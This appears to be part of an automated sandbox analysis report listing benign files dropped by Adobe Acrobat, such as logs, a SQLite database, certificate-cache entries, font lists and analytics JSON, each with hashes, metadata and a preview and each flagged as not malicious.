Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.180016159714691
Encrypted:	false
SSDEEP:	6:iO4qVVnUjyq2PcNwi2nKuAl9OmbzNMxIFUtSqVVng1ZmwsqVVn2RkwOcNwi2nKuP:7nFAyvLZHAa8jFUtZFO/LF2R54ZHAa8E
MD5:	DC6DF92CD0A65ACEF9A95436425915C0
SHA1:	7E3AB820F65C824C1537859F9DFC21CD7F557E6D
SHA-256:	E478EA112C1471471ED4D744793AC37D8503B6E7A6C44C769158A73A8CAE245B
SHA-512:	17B9838EAB4F8435B95C851ACE0AD6C8C475AC828592F77E8F166276F57E684F87C188F1B429F8852615F4878C19D29E2883AA4BD3A049465A1437C3B05D8D83
Malicious:	false
Preview:	2025/01/10-20:16:30.643 1d90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:16:30.645 1d90 Recovering log #3.2025/01/10-20:16:30.645 1d90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.180016159714691
Encrypted:	false
SSDEEP:	6:iO4qVVnUjyq2PcNwi2nKuAl9OmbzNMxIFUtSqVVng1ZmwsqVVn2RkwOcNwi2nKuP:7nFAyvLZHAa8jFUtZFO/LF2R54ZHAa8E
MD5:	DC6DF92CD0A65ACEF9A95436425915C0
SHA1:	7E3AB820F65C824C1537859F9DFC21CD7F557E6D
SHA-256:	E478EA112C1471471ED4D744793AC37D8503B6E7A6C44C769158A73A8CAE245B
SHA-512:	17B9838EAB4F8435B95C851ACE0AD6C8C475AC828592F77E8F166276F57E684F87C188F1B429F8852615F4878C19D29E2883AA4BD3A049465A1437C3B05D8D83
Malicious:	false
Preview:	2025/01/10-20:16:30.643 1d90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:16:30.645 1d90 Recovering log #3.2025/01/10-20:16:30.645 1d90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438659980814898
Encrypted:	false
SSDEEP:	384:yeaci5GOiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1murVgazUpUTTGt
MD5:	6BD29110A566D5F582A16115EA5EED6A
SHA1:	F0D5664244ECCDC9156F7568EB3271203426DE7F
SHA-256:	2E5708D94B6C084E9E72391B16D9557883056D0DE7F0BFACDE3DF50EA59B15AB
SHA-512:	9EE4E51143509608542429834CFEE69B9B7C90C7E34760DCEB4721373C9DD2BF966BC79D773EBBE24C0CC324A23E1465EA74C90D9E3D64E8704B842D15AD74B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7741130575107418
Encrypted:	false
SSDEEP:	48:7MFp/E2ioyVv6ioy3DoWoy1CABoy1OJKOioy1noy1AYoy1Wioy1hioybioyQjoyC:7apjuv60iAKLXKQ7xhb9IVXEBodRBkY
MD5:	849FC40D3A7505D5A99926F3F25F3889
SHA1:	82F254238B66A3CC53B2624D0F77AEAAA75EBE8D
SHA-256:	B233A817EA14F7B03B88D6DE98DCBB1F81B8989DFBCBD7959790C4EF7E3BE0BD
SHA-512:	CC96D78A4FDF9447AFB4282571919EBE9609193F80C42B7F23D13C3AE11F7CC932BE0F4353B9AF1B49CA7B6AE5B35F3C6568694748A5D3D9B7E02F538BAD38C6
Malicious:	false
Preview:	.... .c.....@.%P...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklToUKPtfllXlE/HT8kZJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKzUKPeT82RNMa8RdWBwRd
MD5:	EB7A8061B73637A51B1062D81FA7CE01
SHA1:	4C47052E37A08D2C1B7943C21B6018B16200AC39
SHA-256:	DDA5B21275ED7460B94B5C0532EB496BEE326103190490DAED8CCE5A1D5DB36B
SHA-512:	1CB33D9ED7CAFE40F7D6B4C73C7D5E42F3F65BECDC7975C76B0FC8DA82B9B4719E9DBDE0AC2A63390195E469272CE8C8DE775B7B4C27F258650948533945ECCA
Malicious:	false
Preview:	p...... ........`..v.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKMjyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9iDImsLNkPlE99SNxAhUe/3
MD5:	E4602EF1FDA9968AE5FDB70507BE8038
SHA1:	8864CAE4F56AECFECBD729E2293B4322E78DFF56
SHA-256:	877F1680A5AB748B5C6835DFB66E44651F8E39F98CFE81B1D3EC329195463976
SHA-512:	74D00B0690353F767A6595AF6F1007A0B5E40385FD116B815F87E463445415457EC4915DD6ECCA6A0EF09B21143D927DE5086AC34E296AAFC05176703839178A
Malicious:	false
Preview:	p...... ........-....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349244089626283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJM3g98kUwPeUkwRe9:YvXKX/DpsdTeOznGMbLUkee9
MD5:	027133043D96D2373F27EAC64223A233
SHA1:	9FF1C755F86C1E159F57141C1519694D7ED6B972
SHA-256:	A8A88EFEE8E62949639CA13C1AE6A194F3B31EEF0B74AB7057B7AAD7DC54C98A
SHA-512:	B4A763F066F3A6DDF36EC03485AD78EA89A130FBE325B581CA52F768FF071B28B4EFCB4526EB038498CF7B3C83F7FFB5FD55AF6AF0C2B140F3E33BC70F48DB03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28603953039253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfBoTfXpnrPeUkwRe9:YvXKX/DpsdTeOznGWTfXcUkee9
MD5:	AF38520386D74C31D7A3740E2CBC8248
SHA1:	AED13E6581DC3411D26B375470B0C82BEE27B541
SHA-256:	2B1E034EBDCB882C6C4678517EF709FE2AA692C71C2DD5AE465995A8F3D4C20F
SHA-512:	C7B5ED941441AF1D37BF596FFC82D990689B3C8DCD7D4FEE854BF20E30A22E7F51634CB3555C73C7C7FAD5CB0A9BB05031E0EBBE4944588E9848CD8A32A2B45A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264587846918535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfBD2G6UpnrPeUkwRe9:YvXKX/DpsdTeOznGR22cUkee9
MD5:	D7BBC1B8F5E80F882B2C2A80D902941B
SHA1:	79D3F34ECD0EE56EA975E8F742C926344C69B1A9
SHA-256:	CDE41C5159E8261DFF8FA5482B73745607940246BC012C15E7F84DB68EFBF64B
SHA-512:	3D3C651A13A81F10494A09718ACCFC086235C87F986CF15E3EBACBDCF1EB13CCE9D54CEF41900DA3CD81EF42873FFA261F8374E6DC280606132BCBDCD20DD075
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335626978862119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXy1CDfYnWsGiIPEeOF0YTUoAvJfPmwrPeUkwRe9:YvXKX/DpsdTeOznGH56Ukee9
MD5:	811CE7C9F9AF52AB6ED66CB680DFF9B8
SHA1:	71C58E2AF40720E6460A1DB1DA70452DF104BD65
SHA-256:	3E491A7EFDBA274541073D737F287EB9502C05AA39D2EA0F245CF97D62BB5EE1
SHA-512:	6BD4F23CF80AB334296E4475777C03A2ECC9EE6A9BED4E8B37AA96FB3BFB4622B7AA67C2D87A14AA2F4C9DE6563E4E127E1AEAD7316CEF9913B2A87A72418C6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.680770500732689
Encrypted:	false
SSDEEP:	24:Yv6X1meOzspLgE9cQx8LennAvzBvkn0RCmK8czOCCSB:YvNeyshgy6SAFv5Ah8cv/B
MD5:	9AF6A313EC5AD180C376D183EC027774
SHA1:	5039F22A9310AE3775FA6B33196EE73A278B6FB1
SHA-256:	1FDDBDA5032D1E05C7B836C0225A1E8F4AFBD0B8D1CC66D01626F35487E8BEB2
SHA-512:	D426167F793D0102EB92EDD98F9449CD7355D0DC064F4A8C6EA3F506EA565EE187CB447D4C779523B48B01C305E4B0227B71D7A2C194E04306468525EC57F717
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b20dc2e2-b4ba-43ae-91b1-5bb81a4c9db2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736731314139,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

